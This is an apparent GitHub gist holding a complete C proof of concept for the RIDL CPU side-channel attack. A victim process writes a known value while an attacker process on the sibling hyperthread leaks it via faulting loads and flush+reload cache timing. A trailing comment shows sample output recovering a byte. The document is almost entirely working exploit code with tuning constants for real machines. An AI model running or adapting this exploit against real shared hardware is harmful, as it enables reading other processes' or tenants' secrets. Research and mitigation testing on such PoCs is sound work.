Skip to content

Instantly share code, notes, and snippets.

@LevitatingLion
Created February 4, 2021 15:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LevitatingLion/39fcc5eb3307e1565baf311067883378 to your computer and use it in GitHub Desktop.
Save LevitatingLion/39fcc5eb3307e1565baf311067883378 to your computer and use it in GitHub Desktop.
PoC for RIDL
#define _GNU_SOURCE
#include <sched.h>
#include <signal.h>
#include <stdalign.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <unistd.h>
// ADJUST THESE TO YOUR MACHINE
#define HYPERTHREAD_1 2
#define HYPERTHREAD_2 6
#define CACHE_MISS_TIME 130
#define ASSERT(cond) \
do { \
if (!(cond)) { \
fprintf(stderr, "Assertion %s failed\n", #cond); \
exit(EXIT_FAILURE); \
} \
} while (0)
typedef struct {
alignas(PAGE_SIZE) uint8_t data[PAGE_SIZE];
} page_t;
static void mem_access(const void *ptr) {
*(volatile uintptr_t *)ptr;
}
static uint64_t cyclecount_access_flush(const void *ptr) {
__builtin_ia32_mfence();
__builtin_ia32_lfence();
uint64_t start = __builtin_ia32_rdtsc();
__builtin_ia32_lfence();
mem_access(ptr);
uint32_t unused;
uint64_t end = __builtin_ia32_rdtscp(&unused);
__builtin_ia32_lfence();
__builtin_ia32_clflush(ptr);
__builtin_ia32_lfence();
return end - start;
}
static void bind_to_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
ASSERT(sched_setaffinity(0, sizeof set, &set) == 0);
}
static page_t *mmap_pages(size_t count) {
void *page = mmap(NULL,
PAGE_SIZE * count,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0);
ASSERT(page != MAP_FAILED);
return page;
}
static void mmap_evict(page_t *pages, size_t count) {
ASSERT(madvise(pages, count * PAGE_SIZE, MADV_DONTNEED) == 0);
}
static void victim(void) {
bind_to_cpu(HYPERTHREAD_1);
volatile uintptr_t *secret = (void *)mmap_pages(1);
for (;;) {
*secret = 0x41424344;
__builtin_ia32_mfence();
}
}
static void attacker(void) {
bind_to_cpu(HYPERTHREAD_2);
size_t hits[256] = {0};
page_t *probe_arr = mmap_pages(256);
memset(probe_arr, 0, 256 * PAGE_SIZE);
page_t *unmapped = mmap_pages(1);
for (size_t run = 0; run < 100000; run++) {
mmap_evict(unmapped, 1);
mem_access(probe_arr + ((volatile uint8_t *)unmapped)[0]);
__builtin_ia32_lfence();
for (size_t i = 0; i < 256; i++) {
size_t k = (i + 5 * run) % 256;
if (cyclecount_access_flush(probe_arr + k) < CACHE_MISS_TIME)
hits[k]++;
}
}
for (size_t i = 0; i < 256; i++)
if (hits[i] > 10)
printf("0x%02lx: %zu\n", i, hits[i]);
}
int main(void) {
pid_t p = fork();
ASSERT(p != -1);
if (p) {
// parent
attacker();
ASSERT(kill(p, SIGTERM) == 0);
} else {
// child
victim();
}
}
/*
$ clang -Wall -Wextra -O3 -o ridl ridl.c
$ time ./ridl
0x00: 99901
0x44: 2050
./ridl 5.19s user 0.13s system 99% cpu 5.327 total
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment